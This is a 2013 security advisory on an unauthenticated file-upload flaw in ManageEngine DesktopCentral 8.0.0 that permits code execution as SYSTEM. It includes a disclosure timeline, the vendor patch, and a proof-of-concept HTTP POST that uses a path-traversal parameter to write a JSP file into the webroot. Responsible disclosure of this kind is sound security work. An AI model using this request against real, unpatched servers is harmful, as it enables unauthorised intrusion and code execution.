Vulnerability Advisory

Name	Unauthenticated Arbitrary File Upload to Privileged Remote Code Execution
CVE	NA
Vendor Website	www.manageengine.com
Date Released	18/11/2013
Affected Software	DesktopCentral 8.0.0 (build 80293 and below)
Researchers	Thomas Hibbert

Description

ManageEngine DesktopCentral 8.0.0 build 80293 and below suffer from an arbitrary file upload vulnerability that can be leveraged to gain arbitrary code execution on the server. The code run on the server in this fashion will execute as NT-AUTHORITY\SYSTEM.

The problem exists in the AgentLogUploadServlet. This servlet takes input from HTTP POST and constructs an output file on the server without performing any sanitisation or even checking if the caller is authenticated. Due to the way the path is constructed it is possible to traverse to the application web root and create a script file that will be executed when called from a web browser.

Exploitation

The following HTTP POST request will cause a file called "test.jsp" to be created in the DesktopCentral webroot. Browsing to /test.jsp on the DesktopCentral server will display a 'Hello World' message.

```
POST/agentLogUploader?computerName=DesktopCentral&domainName=webapps&
customerId=..&filename=test.jsp HTTP/1.1
Host: <desktopcentral>:8020
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101
Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
Content-Type: text/html;
Content-Length: 109

<HTML>
 <HEAD>
  <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
  <H1>Hello World</H1>
 </BODY>
</HTML>
```

Solution

Apply the patch supplied by the vendor (Patch 80293)

Disclosure Timeline

20/10/2013 – Vulnerability discovered, vendor notified.
25/10/2013 – Vendor acknowledges issue
30/10/2013 - Vendor issues Patch 80293 that fixes the issue
09/11/2013 – Exploit demonstrated at Kiwicon 7
18/11/2013 – Advisory released.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596